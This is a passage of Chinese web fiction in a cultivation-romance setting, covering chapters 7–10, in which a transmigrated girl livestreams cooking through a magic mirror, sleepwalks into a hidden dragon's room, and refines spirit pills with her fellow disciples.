应苍往前走了几步,两人之间的空隙瞬间缩小,他微微俯身,凑在了祈安耳边说道:“你不都很晚睡觉吗?半夜还能听到你的脚步声。”
“什么?你说半夜能听到我的脚步声?”
应苍点头。
祈安后背一阵阵发凉,她现在每天都睡得很早,半夜怎么会有脚步声呢?不安地望望四周,不会.....这里闹鬼吧?!祈安把怀里的罐子抱得更紧了些:“谢谢应苍兄,我会喝的。”
“甚好。”应苍薄唇勾出一道细小的弧度,直起身子,准备离开。
“等、等一下,”祈安叫住了他,拿出了玄光鉴,“你有这个吗?我们加个好友?这样你就可以给我发消息了,不用再跑空了。”
应苍看了一眼她手里的东西,记起自己储物袋的最角落里,好像是扔着一个玄光鉴。他摸索了一番,终于掏了出来。
“那个——”
“嗯?”
祈安勾勾手,示意应苍再靠近些。她凑到应苍耳边偷偷说着:“如果下次你晚上再听到脚步声,就立马给我发消息。”
“好。”
应苍的玄光鉴上按键的排布,和她手上的这个还有些区别。看上去就像是老旧的按键手机一般,祈安鼓捣了半天,才把两人加上了好友。
她把玄光鉴递给了应苍:“喏,好了。”
应苍看着祈安的名字,喉头滚出一声轻嗤,声音里带着些嘲弄:
“十亿少男的梦?”
“怎么样,我名字不错吧。”祈安满脸得意,“只需稍微一动脑,就想出了如此绝妙的网名。”
“十亿是谁?”
... ...
祈安没忍住翻了个白眼,懒得和应苍解释:“一个喜欢我的帅哥。”
应苍又看了看玄光鉴,眼里意味不明,指指祈安怀里的罐子:“记得喝。”
“遵命!”俗话说,吃人嘴软,拿人手短。不管怎么说,人家还是给自己送了礼物,祈安咧嘴笑着:“我一会儿就喝。”
应苍点点头,转身离开了。
刚走出两步,却又被叫住。
“应苍。”祈安追了去,“刚忘记问了,你伤怎么样了?”
7.还活着
应苍看着自己身前的祈安,衣服映得她的脸蛋微微泛红,抱着罐子站在那只到自己胸口处。他还是难以将眼前这个看上去温柔、乖巧的祈安和每晚那个粗暴、大力的人联系起来。
“好些了。”应苍随口答道,“血已经止住了。”
“那你......疼不疼啊。”
祈安不怕受累、不怕吃苦,最怕的就是疼。她总觉得自己的痛觉神经像是比别人敏感一般,哪怕是磕着一点膝盖,也要抱着腿龇牙咧嘴地叫上好一会儿。
“这点疼算不上什么。”
听到这话的祈安愣住了。
她想起了那天易为春说,应苍身上的都是老伤。看来,他之前应该经历了不少事情。
祈安抬头望去,应苍脸色依旧是苍白的,要不是眉眼间还有股傲气,完全就是一个行将就木之人。
祈安忽地把罐子放在地上,踮起脚,隔着衣服在应苍的伤口处轻轻吹气。
呼——呼——
“你在做什么?”应苍想往后退去,却被祈安一把抓住:
“别动。”她动作不停,向应苍解释道,“小时候我只要受伤了,妈妈就会给我吹吹,吹了就没有那么疼了。”
应苍还是第一次听到这样的说法,一时忘记了反抗,停在原地任由祈安摆布。
祈安绕着他转了一圈,把前后所有的伤口都吹了一遍后,才又重新拾起罐子:“好啦!谢谢你送我的茶,我先回去啦。”
说完,就蹦跳着返回了房间。
*
云水间内
应苍正在空地上坐着,手里拿着玄光鉴。
联系人列表上一共有四个人,除了祈安外,就是他的父母和自己的护卫。千年过去了,再次看到他们的名字,这世上已经只剩下他一人了。
应苍的手在玄光鉴上摩挲着,却无意间碰到了父亲的名字,没想到玄光鉴立马弹出了一道金光:
【此修士已身亡,玄光鉴已销毁】
应苍心口猛地一缩,肩膀的伤口开始隐隐作痛。之前父亲活生生地在自己面前被别人砍下了头颅,此刻自己又亲手销毁了他在这世间唯一的印记。
无疑等于让父亲再死了一次。
他闭上了眼睛,脸上如死一般的平静。喉间漾着苦意,久久不散。
应苍如同自我惩罚一般,同样点了母亲的名字。
【此修士已身亡,玄光鉴已销毁】
母亲也消失了。
玄光鉴的列表里只剩下了凌渊。凌渊从小一直陪着他长大,应苍一直将他视为自己的兄长。
“凌大哥,对不起了。”应苍颤抖的手伸向了凌渊名字,可销毁提示却没有弹出来,还直接跳到了两人之前聊天的界面。
上面留着千年前凌渊给他发的最后一条讯息:
“少主,族里出了奸细,我替你引开他们,你先走,我随后去找你。”
应苍眉头拧起,重新退了出去。再点进去时,依然是一样的界面。
反复操作了几次后,他渐渐察觉,这种情况,只有一个可能,那就是,
凌渊没死!
想到这处的应苍体内真气荡漾,喉头一甜,涌上了一口鲜血,双肩也开始重新渗血。
把衣服扯开后,原本已经结痂的伤口,再次崩开。
血流顺着胸口流了下来,胸前弯弯曲曲地挂着两道血迹。
狰狞,可怖,难堪。
应苍很想问问凌渊是不是还活着。
但他担心倘若玄光鉴在旁人手里,那他从深渊里逃出来的消息就暴露了。
应苍半敞着胸膛,躺在地上思考着。
四周的灵气好像有目的一般,齐齐地都往他这边聚。
没一会儿,伤口竟然就不冒血了。
这云水间的灵气,怎么还有疗伤的作用?
应苍来不及细细思考,他的心思都在凌渊身上。纠结了许久后,还是决定同凌渊联系下。
他抓起玄光鉴,发了一个“人”字。
这是他二人之间的暗号。
“人”代表只有自己,“从”代表身旁有人。
信息发出去后,应苍一直把玄光鉴捏在手里,时时关注着有没有凌渊的消息。
可那讯息就如同石沉大海一般。连着三天,没有任何回应。
应苍渐渐没有了期许,可能凌渊,真的死了。
*
今日是祈安直播的日子,她从一大早就开始忙碌。
捡了不少木柴,选了个避风的山洞,刚好背后是一片紫藤花林,可以用做直播背景。
还从山上砍了根长又直的竹竿,插在岩石缝隙中,把青铜镜绑在上面,一个简易的直播支架就完成了。
真正要开始前,祈安还是非常紧张的。她以前没有过任何直播经验,也不知道自己开启直播后,会以什么样的形式出现在别的修士处。
可如果不完成任务,就会永远卡在这世界中。
算了,横竖都是一死。
还不如大胆地往前冲。
祈安点了开始。
【是否确认开启直播】
她毫不犹豫,选了是。
【系统正在推流中——】
【系统推流完毕,已成功将您的直播间推送至一百个修士处】
提示刚结束,那青铜镜上立刻出现了祈安此时的场景。
突然在镜子里看到这么清晰的自己,还有些不习惯。
连忙坐直了身体,露出公式般的微笑:“大家好,我是...额...我是十亿少男的梦。”
想了想,还是用自己的网名稳妥一些。
“这是我第一次直播,希望大家多多捧场呀~”
祈安一面说话,一面看着右上角【当前在线人数】。
3人?
怎么才这么点!不是说推流了100人吗。
祈安觉得可能是因为自己的直播没有什么营养,立马起锅烧油点火煮面,步入今天的主题。
软糯的面配上青菜鸡蛋,热气直往祈安脸上扑,她看着直吞口水,盛出了一碗,锅里还咕嘟咕嘟的响个不停。
祈安小心地端着,把碗伸到了镜头前。一只手挡在了碗的后侧,一只手来回转动着碗,全方位地展示着面的样子:“观众先吃~”
说完这句话后,祈安就词穷了,只好对着镜头腼腆地笑笑:“那我先开动啦!”
嘟噜嘟噜。
面条一个劲儿地往祈安嘴里窜,劲道滑弹,汁香四溢。
她满足地吃了一大口,抬眼的瞬间,却发现自己直播间的人数已经从3人降到了2人。
不是吧!
祈安难以置信地眨眨眼,自己也没做什么呀,怎么就走了。
在基数这么少的时候,丢失任何一个观众都是一笔巨大的损失。
祈安瞬间觉得自己碗里的
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面没有那么香了。
就在她思考的时候,观众又掉了一个。
右上角那个明晃晃的1,有些刺眼。
祈安的心不住地往下沉,肉眼可见地蔫巴了起来。她刻意地让自己不再去看直播间里的人数,低着头自顾自地吃起来。整场直播下来,没再说过一句话。
直到她全都吃完准备结束的时,那一个人都还留在直播间。
祈安有些不好意思,刚刚自己不应该把情绪那么明显地展露出来的。只顾着埋头吃,都没有和别人互动,再怎么说人家也陪了自己这么久。
她放下碗筷,理理头发,尽量让自己声音听起来活力满满:“谢谢你今天一直陪着我呀!如果喜欢我直播的话,可以点左上角的关注,下次我再直播你就可以收到提醒啦。”
由于现在还没开启弹幕功能,祈安也不知道对面的人能不能听到自己所说的话,等了一会儿后,挥了挥手:“我先走啦,拜拜!生活愉快!”
说完后,就关了直播。
青铜镜弹出了这次直播的总结。
直播时长:半个时辰
最高同时在线人数:3人
涨粉数:1人
?
祈安目瞪口呆。
难道说刚刚那个人,真的加了关注?
她拿着青铜镜,左点右点,想要看看怎么才能查看自己的粉丝列表。
而此时应苍,正在她身后紫藤林的花园里。
就在半个时辰前,应苍拿着玄光鉴把玩,还在期许着凌渊的消息。
上面突然出现了祈安的脸,弹出了提示:
【是否进入该直播间】
是。
应苍毫不犹豫地选择了是。
他倒要看看,祈安在搞些什么。
玄光鉴里的祈安正鼓捣着生火煮面,看她身后的背景,好像就是云水间外面的那片紫藤林?应苍刚准备出去看一下,玄光鉴上突然弹出了凌渊的消息。
应苍马上点进去,回复的内容也只有一个字:人。
凌渊真的还活着!
应苍凝神思索着,按照之前两人约定,此时凌渊的环境应当还算安全。
只是这玄光鉴是否被人监视着,他并不知道。
如果被人监视了,那行踪可能就会暴露了。为了保险起见,应苍决定再等等。
既然已经等了一千年了,再等几个月,也算不上什么。
他打算等自己的伤养的差不多了,再和凌渊碰面。
所以只回复了凌渊一个“等”字。
几乎是同一时间,凌渊也回复了“等”。
应苍知道,凌渊应当和他一样的心情,他心里有无数的话想问凌渊。
问他现在在哪。
这么多年来过得怎么样。
爹娘葬在了哪里。
... ...
当年的事情有无数的疑团。
他一定会桩桩件件的尽数揭开。
应苍在云水间里一直想着过去的事,直到天黑了才回神。
刚好听到了外面祈安的声音:
“拜拜!生活愉快!”
这才想起她刚刚好像突然出现在了自己的玄光鉴中,在做什么...直播?没想到这会还在外面。
应苍走了出去,撩开了紫藤林,就看到祈安一个人蹲在那里。他走上前去,沉声问道:
“直播是什么?”
8.向内求
祈安正全神贯注地找粉丝列表,身后猛地传来应苍的声音,她浑身一激灵,慌乱地将青铜镜藏在了身后,满脸惊恐,问道:“你怎么在这里?”
身后是冰冷的岩壁,身前又是步步紧逼的应苍,祈安心脏扑通扑通地狂跳。
应苍没有回答祈安的问题,又问了一遍:“什么是直播?”
直播两个字刚说出口,祈安就像一只炸了毛的猫:“你怎么知道我在直播的!”
应苍晃了晃自己手里的玄光鉴:“你自己说的。”
“你是说,你从这里看到了我?”
“嗯。”
“是什么样子的画面?在哪里看到的?可以让我再看看吗?”
一连串的问题纷纷冒出来,祈安的身子也不住地往应苍那边靠。
应苍侧过头去,有意地避开了那道荔枝香,昨晚祈安在自己屋子里待到了后半夜,今早他出门的时候,身上还留着她淡淡的味道。
他神色漠然:“问题太多了,我记不住。”
“我——”祈安暗暗捏紧了拳头,努力地让自己显得不那么暴躁。自己急得跟猴子似的,眼前这尊佛却稳如泰山。
罢了,谁让她有求于人呢。
祈安平静了片刻,又重新挂上笑容:“第一个问题:你刚刚在玄光鉴上看到我在做什么?”
“生火。”
“那你是点哪里找到我的呀?”
“自己弹出来的。”
“你的意思是,我是突然出现的?!”
应苍点头。
祈安心里暗道不妙:不是,这是真随机刷新啊。就这么毫无征兆地出现在别人的玄光鉴上?有点太冒昧了吧。
她哀怨地看着自己面前的应苍,既然这人刚刚都看到自己的直播了,不如就问到底:“那你刚刚有没有进我的直播间?”
“进了。”
居然进来了!难道一直等在最后还关注了自己的人就是他?
祈安突然有些不好意思,有种在熟人面前掉马的尴尬感,嗫嚅道:“你一直看到最后呀。”
“没有,我后面退出去了。”
?
祈安难以置信地看着应苍:“那个秒退的原来是你啊!”
当事人一脸无所谓,仿佛在说:有什么问题吗?
祈安刚平静下来的心顿时又烦闷了起来,她撇过脸去,没好气地说道:“我知道了,你走吧。”
应苍刚准备走,突然想起了昨晚发生的事,就又止住步伐:“你最近有没有喝我送的茶?”
“喝了。”祈安冷冰冰地说着,“你问这个干什么?给我下毒了?”
居然喝了?梦行症怎么一点都没见好。
应苍心里起了疑虑,漫不经心地说道:“不需要。”
不需要?这说的是人话吗?
祈安瞪大自己的双眼:“怎么听你的意思,好像把我干掉是一件轻而易举的事情。我当时也算是你的救命恩人,你不会恩将仇报吧。”
应苍如实回答:“暂时还没有这个想法。”
以后如果她发现了自己的秘密,那就说不准了。
“以后也不准有!否则,”祈安做了个抹脖子的动作,故意让自己看起来凶狠无比,“我可不是什么善人。”
“刚好,我也不是。”
*
“白眼狼!白眼狼!”
祈安怒气冲冲四地回到了房间里,一想到最后应苍和她说话的内容,就满肚子的火。
看到那罐放在自己桌上的茶,祈安气就不打一处来,拿起罐子扔在了角落里,“以后我再主动和他说一句话就是小狗!”
祈安气鼓鼓地坐在床上,但她只要一放空,就不由得想起直播间里人数减少的瞬间。明知道这其实是一件很正常的事情,可她还是无法坦然的接受。
真的有那么差吗?
祈安在心里问自己。
她躺在床上,卷着被子翻来滚去。百人推流只留下了一人,这百分之一的转化率让她有些受挫。
余光刚好瞥到了墙角应苍送来的那罐茶。
本来还算光亮的外表,此刻在那落灰的角落里,又显得有些可怜。
她一时都分不清楚,自己是因为应苍最后的话生气,还是因为他秒退生气了。也许潜意识里,她和应苍再怎么不熟悉,毕竟也是相识一场。既然互相认识,那就应该看到最后。
刚想到这里,祈安突然醒悟,自己有些想当然了。哪怕是再熟悉的人,也没有一直陪她到最后的义务。更何况,她和应苍......
祈安叹了口气,以后这种事情应该不少,如果一直因为别人的举动而难过,那她可能一直会被情绪困扰。
要向内求。
想到这里,她又小跑着把茶搬回了桌上,用抹布将上面刚落的一点灰擦净。在烛光下茶罐闪着光,祈安突然觉得,自己的心好像也亮堂了起来。
“不就是十个人在线吗!加油呀阿祈!你一定要快点完成任务,咪咪还在家里等你。还有马上就到妈妈的生日了,要回去给她过生日。”
祈安摸了摸自己脖子上挂着的小吊坠,眼睛失神放空了好一会儿,喃喃道:会回去的。
*
夜里的风有些大,木门嘎吱直响,月光下竹影摇曳。
应苍的房门大开着。
他正坐在门口的台阶上,隔壁木门开合声过后,祈安出现在了院子里。
应苍望过去,她身上只穿了件单衣,发髻都松散开来,被风吹得上下飞舞。一缕发丝遮住了祈安的眼睛,应苍突然发现这时候的她与平日里有些不同。
或许是没有了眼睛里那飞扬的神色,整个人看上去柔弱了许多。有些瘦削的身形在风中微微摇晃,依旧打着赤足,踩着砂石一步一步地朝他走来。
她最近好像...瘦了?
应苍从台阶上站起,侧身让路,双臂抱胸,跟着祈安一同进了房间。
木门被合上。
寂静的房间里,祈安突然叫了他的名字:“应苍——”
应苍愣了一下,轻声应道:“嗯。”
“对不起。”
对不起?应苍皱起眉头,他不知道祈安为什么要道歉。
应苍看着祈安在桌旁坐下。只听得“啪”的一声,祈安把玄光鉴拍在了桌子上。两指轻叩桌面:“但是,你下次如果
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再提前退出我的直播,我就给你下泻药,你信不信?”
呵,看着身子瘦弱,口气倒是不小,居然要给他下泻药。
唇边无意识地勾起一抹轻笑,应苍坐在了祈安身边,玩味地打量着她,看她还能说出什么“狠”话来。
只是祈安像是故意和他对着干一样,刚坐下她就站了起来,闭着眼睛四处乱摸着。
“蛇呢?我的四角蛇呢?”
又叫他蛇。
应苍心里不悦,祈安手刚伸过来,他就一把握住了她的腕骨。今日体内寒意还未被被缓解过,突然的触碰让他有些不适应,忍不住闷哼一声。
抓着祈安的手还没来得及用力,就被祈安反手抓住了手臂。
“终于抓到你了,我的蛇蛇——”
祈安的手在应苍的双臂上来回摸着。
暖流顺着上肢流入了体内,应苍干脆放弃了抵抗,任由她的手肆意地游走。
“不对呀,蛇蛇你怎么变得这么大了?你还是蛇蛇吗?”
祈安的手胡乱地摸着,甚至掀开了应苍的衣襟,伸向了他的胸口。
“住手——”
应苍低声制止,本想闪身逃开,身子却在这时候现了原型,一条墨绿色的小龙就这样直直地坠了下去。
祈安一把捞在了手里。
“这才是我的蛇蛇嘛!”
她亲昵的将应苍搂在怀里,一手轻抚着他的脑袋,另外的一只手则把玩着那根细长的尾巴。
玩累了,就拎着它的尾巴,往床上走去。
应苍整个人倒吊着,身子随着祈安的步伐晃来晃去,头直发晕。
好不容易到了床上,又被祈安一把塞进了枕头下,他被压得抽不出身来。
平稳的呼吸自身上传来。
应苍知道,祈安又睡着了。
他试着将自己的身子一点点地往外挪。今夜两人接触不够,应苍觉得自己体内的寒意还在翻腾,要赶紧再攀上祈安的身体。
只是他动作变得缓慢了许多。应苍渐渐觉得自己的身体开始变得僵硬,鳞片上已经结了一层薄薄的霜。
应苍几乎使出了全身力气,才把自己的身子拔出来。没有分毫犹豫,就钻进了祈安的颈窝。
他被烫得浑身发抖,但还是死命地缠绕着。
祈安睡梦中觉得颈边一直有东西,吵得她睡不踏实,一把扯了起来,随手扔在了床的另一头:“蛇蛇,别闹。”
翻了个身,继续睡过去了。
应苍看到祈安露出的那节脚踝,在月光下竟泛着银辉。他改变了想法,将自己的身子,缠在了祈安的两只脚腕上。
上身绕着右脚,尾部圈起了左脚。
远远看过去,祈安就像是戴上了一个翡翠做的脚链一般。
脚踝处的暖流自然没有颈间强烈,但应苍体内的寒意依旧能得到很好的压制。
一直到体内寒意不再发作,应苍也没舍得放开。
突然院内传来了一阵脚步声,声音细碎,却越来越近。
应苍看了一眼在床上熟睡的祈安,立马游下床,爬上窗户。
一个摇晃的身影正往他的屋子靠过来。
9.聚灵丹
来的人竟是清虚。
他身后拖着一把长剑,剑刃在地上摩擦的声音划破夜空。手里拎着酒壶,时不时往嘴里灌上几口。
应苍一直注视着清虚的动向 。自己身份特殊,此刻又没有还手的余地。院子里的植被比较少,躲藏起来还有些困难。
可谓是四面楚歌。
所幸的是,清虚在他窗前半米的位置,停下了脚步。
苍龙一族在夜里视线极佳,透过窗户的缝隙,应苍完全可以将清虚的表情看得真切。
在月光下,清虚两鬓斑白,整个人更显老态。但那双眼睛依旧矍铄,精神头还在。
清虚就一直站在门外,直直地对着应苍的屋子,一言未发,那双眼睛像一口望不到底的枯井般。
一声轻叹后,他才拖着剑走了。
直到清虚的背影消失不见,应苍才松下了戒备。
回头看到祈安依旧躺在床上,睡得正香,甚至连姿势都未曾变过。
应苍突然觉得她的名字与她这个人很般配。
祈安祈安,祈福平安。
这应当是父母给她最美好的祝福。
*
翌日。
祈安醒来时,是趴在桌上的。
她揉了揉自己发僵的脖子,茫然地看着四周。
昨晚不是在床上睡得好好的吗,怎么还睡到桌前来了?
刚站起来,发现脚底一阵浅浅的痛。低头一看,上面竟粘着几粒沙子,脚踝上也有一小圈青紫。
昨晚我这是...赤脚打猎去了?
还没来得及细想,门外就传来了蔺远的声音:“师妹,醒了吗?”
“师兄我马上就来。”今日清虚要教授他们炼丹术,祈安不敢耽搁,匆匆梳洗一番后,就跑出了院子。
一个巨大的丹炉已经放置在了院内,蔺远、怀津正围着那个丹炉看。
他们二人目前都是练气后期,修为停在这里已经有一段时间了,一直没有多大的突破。
其余可以外出游历的弟子,多少可以蹭点别的宗门的灵气,都到了筑基期。
落霞宫灵气太少了,蔺远和怀津除非服用聚灵丹,不然近几年都难以筑基。
市面上一颗聚灵丹,大概要二十块下品灵石。蔺远和怀津要想成功筑基,每人至少要服用三十颗聚灵丹。
一千二百块下品灵石在别的宗门可能是小数目,但对于落霞宫几乎是半年的开销。
蔺远怀津早已经坦然接受了自己无法筑基的事实,但昨日清虚突然和他们说,要教授他们炼丹之法,自己炼制聚灵丹。
起先他们并不相信。
自己炼丹价格的确便宜,但炼丹所需要的灵植,也是要用灵石换的。这些原材料少说也得四百块灵石,对于宗门来说,仍是不小的一笔开销。
不过尽管如此,他们心中隐隐还是有些期待,一大早就等在院内。
祈安没看到清虚的身影:“师傅呢?”
蔺远接过话来:“还没看到他,听大师兄说他一大早就不在了。”
正说着,清虚便从外面回来了。身后背着竹筐,朝院内的三人走去。
祈安最先迎过去:“师父~”
在屋内的应苍也听到了祈安的声音,将窗户打开了一条缝,看到那抹浅绿色的身影飞奔了过去,发髻在脑后一晃一晃的。
祈安刚奔到清虚身边,就去卸下清虚身后的竹筐:“这个给我吧。”
清虚摆摆手:“你提不动。”
祈安看了一眼筐里的东西,都是一些灵植,分量应该不会超过三十公斤。
这点重量她还是没有问题的。
“提得动,”祈安十分坚持,“师父您就瞧好了吧。”
清虚拗不过祈安,弯腰把竹筐卸了下来。
在蔺远和怀津惊叹的目光中,祈安双手拎着竹筐两侧的把手,健步如飞地朝他两走来。
身后的清虚也是满脸震惊。
只有在房间里的应苍对眼前的这一幕不以为然,在自己第一次被祈安丢出去的时候,他已经领教过祈安的力道了。
砰!
竹筐接触地面后,掀起了漫天的尘土。
咳咳——
蔺远在一片灰蒙蒙中,给祈安竖起了大拇指。
果然,能够主动留在他们落霞宫的人,都不是一般人。
*
竹筐里的灵植被尽数倒了出来。
“祈安,”清虚说道,“你来把这些灵植都分开。”
祈安立马照做。
蔺远在一旁嘀咕着:“师父这些灵植用灵力分就可以了吧,就不让小师妹再......”
话还没说完,一旁的怀津用手肘戳了下蔺远的腰部,摇摇头。蔺远一双眼睛睁得老大,他一脸的疑惑,不知道怀津为什么要阻止他。
而祈安完全没有留意到两人之间的交流,她正专心致志分着灵植。
“仙灵草,银叶,兰果...”
“银叶放左边,兰果右边,右边......”没一会儿功夫,祈安就把所有的灵植都分完了。
她拍了拍手上的土,一脸骄傲地朝着蔺远和怀津炫耀道:“二师兄、四师兄,不是我吹牛,聚灵丹的材料我现在闭着眼都能摸出来啦!”
祈安刚说完,才恍然大悟,原来清虚要她分灵植竟是这个原因。她感激地说道:“谢谢师父。”
清虚未理会,淡淡地说了声:“开始吧。”
清虚带回来的仙灵草、银叶和兰果,是炼制下品聚灵丹的材料。院子中央的丹炉虽然个头大,品阶却不高,只是一个九品丹炉。
“丹药炼制的方法并不唯一,主要看炼丹者对材料的熟悉程度和灵气火候的掌握程度。聚灵丹的炼制要先以灵气热炉,再放整株仙灵草,银叶两片,最后挤入兰果的汁液。”
清虚一面讲解,一面操作。他以灵气化丹火,等炉壁通红之后,依次投入仙灵草、银叶和兰果汁。
祈安一直在专注地看着清虚的每一步。
以前妈妈生病的时候,家里的厨房总是放着一个煎药壶,为了保证药效,祈安每天都起个大早给妈妈手工煎药。
久而久之,她就对中药就有了浓厚的兴趣,一些基本的配伍、药性,她也都知道。
刚巧这炼丹,似乎和煎药有些类似,用料、火候都有讲究。
约莫过了半个时辰,炉壁由红转青后,清虚收了灵气,只留一点小火在炉底。等火全都熄灭,又静置一炷香的时间,丹炉顶部猛地喷出一阵气来。掀开炉盖,三颗微染着绿意的聚灵丹浮在上空。
清虚将丹药装在了瓶子内,递给了蔺远:“这就是聚灵丹的炼制之法。远儿,你是师兄,也是这里面修为最高的,等下这里就交由你来管理,我先回屋了。”
“是,师父。”
蔺远双手接过药瓶,三个人目送清虚离开。
等清虚走后,祈安小声地问道:“你们说,师父昨晚是不是给我们采药去了。”
蔺远:“这灵植一般都有宗门管理,师父是去哪里找这么多的啊?我看八成是买的。”
祈安:“买的怎么看起来这么累啊。”
蔺远和怀津齐齐摇头。
“不管那么多了,我们开始吧”
三个人商量了下,决定让蔺远第一个尝试,怀津在旁边做辅助,宗门里就这一个丹炉,如果炸炉可就什么都没了。
祈安是三个人里行动最方便的那一个,所以承担起跑腿的工作。
这一天除了中午吃饭时休息了一会儿后,三个人基本把全天的时间都投入到了炼丹中。
十颗一炉,每炉有三、四颗废丹。蔺远和怀津各炼了两炉,一天下来共炼制了三十颗,刚好装满了一瓶。
“师妹——”蔺远招呼祈安过去,“来,伸手。”
祈安看着蔺远拔开了药瓶的盖子,立马把手缩在了身后:“师兄你要干嘛?”
“给你丹药啊。”
“我不要。”祈安躲了老远,“这是
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你们辛苦练的,我才不要呢。”
蔺远转动轮椅去追祈安:“你又不是没出力,快伸手,我们一人十颗,不给你多了,这下总行了吧。”
怀津也在一旁帮着说话:“师妹你收下吧,师父既然叫你过来,肯定是要分给你的。”
“我不要。”祈安在这一方面,犟得可怕,她宁可自己吃亏,也绝不想要占别人的便宜,更不要说是自己的两个亲师兄。
“亲爱的师兄们,如果想要聚灵丹,我可以自己炼,那不是还剩了灵植吗?那些你们就自己留着吧,拜托拜托。”
蔺远依旧不让,非要倔强地要塞给祈安十颗。
祈安没得办法,只能跑到灵炉前:“我先试一下炼丹,如果我能炼出来,我就拿我自己炼的丹,怎么样?”
两人见祈安依旧这么坚持,刚好还有点剩余的材料,就让她炼最后这炉丹药。
祈安蹲在地上对着灵植挑挑拣拣,靠着直觉选了一些自己顺眼的材料。蔺远看见祈安手里的东西后,出声提醒:“师妹,你这个兰果好像多拿了几颗。”
祈安并非不知道,只是她直觉里觉得,拿这个配方,或许能保证丹药更纯粹一些:“我想试试看这样可不可以。”
“还是按照师父教的来吧。”蔺远说,“如果炸了炉我们以后就没有炼丹的工具了。”
“啊——”祈安虽然有些遗憾,但想了想,还是以宗门的利益为上,恋恋不舍地放下了手里的那几颗兰果。
“让她试。”
清虚不知道什么时候站在了远处。
“师父,您......”
“你试吧,有我在,不会炸的。”
祈安一听这话,立马把地上的果子捡了起来,既然师父都在一旁了,那她可以大胆地尝试自己的实验了。
前面的几步基本和清虚所教授的相差无几,热炉、投仙灵草、投银叶。只是最后一步那几颗兰果,祈安并没有逐一将兰果的汁液挤在丹炉内。
她先在自己的手上凝了一小团灵气,等待灵气稳定之后,再一并将兰果都在手心里捏爆。汁液在灵气的包裹下,形成了混着兰果汁的灵气球。
本来祈安的打算是将这个灵气球全部投入到丹炉内的,在动手前又突发奇想,既然自己要炼十颗聚灵丹,为何不在这时候就分成十份呢?
她掌心相对,心念微动,灵球在她的挤压下,平分成了十份后,再投到了灵炉内。
刚一放进去,灵炉就剧烈地摇晃着,炉壁上出现了纹路,竟然隐隐有炸炉的趋势。
祈安心下大惊,不由得松了手底的灵力,摇晃的丹炉也渐渐平息下来。
她马上就明白了缘由。自己的方法让炉内也有了灵气,如果外面的灵力也不减少的话,里外夹击,便会炸炉。刚才慌乱间自己卸了力,反而误打误撞避免了炸炉的风险。
祈安耐心地等待着,只期盼自己能够炼出两三颗,也算是来这修仙界的第一件让她有成就感的事了。
清虚在旁边一言不发,蔺远和怀津也很少说话,大家都关注这最后一炉的丹药。
总算到了开炉的时候,祈安双手合十,朝四个方向都拜了拜:“求求大家了,求求了!妈咪妈咪哄!开!”
炉盖掀开,丹炉里飞出了十颗聚灵丹。
每一个都透着莹莹绿色,不用拿在手里,只需看色泽,就知道这十颗丹药是今日所炼制的里面纯度最高的,连清虚最开始的三颗都逊色一筹。
祈安起先还不敢相信,直到看到清虚朝她点点头后,她才回过神来:“耶!!!师兄,我炼出来啦!!”
她一手牵着蔺远,一手牵着怀津,兴奋地在原地直跳,直到有些气喘吁吁了,才放下了两人的手。
方才耗费了太多的精力,祈安顺势躺在了地上,享受着吹来的晚风。
轻轻偏过了头,突然发现,远处应苍的房间亮起了烛光,窗户半掩着。在窗户的缝隙间,她对上了应苍那双幽深的眼睛。
他,一直在看吗?
10.寒意发
祈安看着应苍那双晦暗不明的眼睛,完全猜不透他的心思。这个自己随手捡来的人总是奇奇怪怪的,独来独往。
来了这么些天,也没见他主动与宗门里的其他人交流。
但祈安看得出来,清虚对他不一般。
方才炼丹的时候清虚就有意无意地往那边望去,似乎在期许应苍出来一同学习。
难道说两人之前认识?但看应苍那副架势,好像也不像。
算了算了。
祈安不想管那么多,把这些理清楚对自己也没什么用,还不如好好想想以后要怎么直播。
一想起直播,祈安就有点犯愁。她一面清理那丹炉,一面琢磨着到底要怎么做才能完成同时在线十人的任务。
“师妹,师——妹——”
“嗯?”祈安回神,茫然地看着蔺远,“怎么了师兄?”
“这里都收拾好了,你可以回去休息了。”
祈安这才发现自己走神的空档,怀津和蔺远合作已经把丹炉里面都清理了一遍。她有些不好意思:“谢谢师兄们。”
“这有啥可谢的,不过师妹,你怎么魂不守舍的。”蔺远看了看远处的屋子,应苍已经不在窗口了,他凑过去小声问着祈安,“小师妹你老实告诉师兄,是不是对那个小子有意。”
蔺远下巴一扬,分明指的是应苍的方向:“虽然老大和我说要我小心那个应苍,我瞧着他倒还蛮不错的。你若是喜欢,师兄帮你考察考察。老四,你说对不对,啊?”
一旁的怀津只是微笑,既不应和,也不反驳。祈安听到最后发现自己这二师兄竟然觉得自己喜欢应苍,简直是个鬼故事,太可怕了。
她决定暂时离自己的师兄远一点。
祈安倒出了五粒聚灵丹,一把塞进了蔺远的怀里:“二师兄,你和四师兄一人分两粒,然后再给大师兄一粒。剩下的几粒我还有点用,下次我再炼些丹药给你们。”
“哎哎哎,我不要。”蔺远把丹药瓶扔给了怀津,示意他去追上祈安,“哪有师妹给师兄的道理。”
祈安根本不听他们说什么,一溜烟跑远了,只留下了一句:“别还回来了哦,给了别人的东西我是不会再要的。”
*
祈安已经在自己的桌前坐了半个时辰了。她捏着手里的丹药瓶,在房间里转了一圈又一圈,最后终于下定决心,拉门出去。
砰砰砰。
应苍听到叩门声,把手里的玄光鉴收了起来。没想到门外竟是祈安,有些惊讶:“何事?”
“那个...我可以进去说吗?”
看到祈安试探的动作,应苍就想到她每晚大摇大摆进出的场景。
他心里轻笑一下,要是晚上也这么有礼貌就好了。
应苍拉开门,让祈安进来。
祈安发现应苍的房间就像没住过人一样,所有的东西都被收进了柜子里,目之所及的地方除了被褥,都是空荡荡的一片。
好家伙,这是有洁癖啊。
祈安在凳子上坐下前,扫扫自己的衣服,生怕脏了他的凳子。双手交叠放在腿上,思考着怎么开口。
应苍见她不说话,也不急,自顾自地喝起茶来。
祈安鼓起勇气,从怀里掏出了准备好的聚灵丹。
“啪”的一声,拍在了桌上。杯里的茶水被这动静生生地晃了出来。
祈安被这声音吓了一跳,但面上依旧镇定自若。
应苍看着那个小瓶子,已经大致猜出了里面是什么,仍假意问道:“这是何物?”
“聚灵丹。”祈安偷偷瞄着应苍的反应,说出了准备好的腹稿,“我方才炼丹的过程你应该也看到了,这几颗聚灵丹品质很好,那天我听师傅说应兄现在还是筑基初期,又受了重伤,想着你应该很需要丹药,所以来给你送几颗。”
说完后还特意将丹药倒出,三颗浅绿色的药丸子安静地躺在了祈安白嫩的掌心里。
应苍笑而不语。
别说这是下品聚灵丹,就算是顶级聚灵丹,以前他要多少就可以有多少,还是第一次见有人拿三颗送礼的。
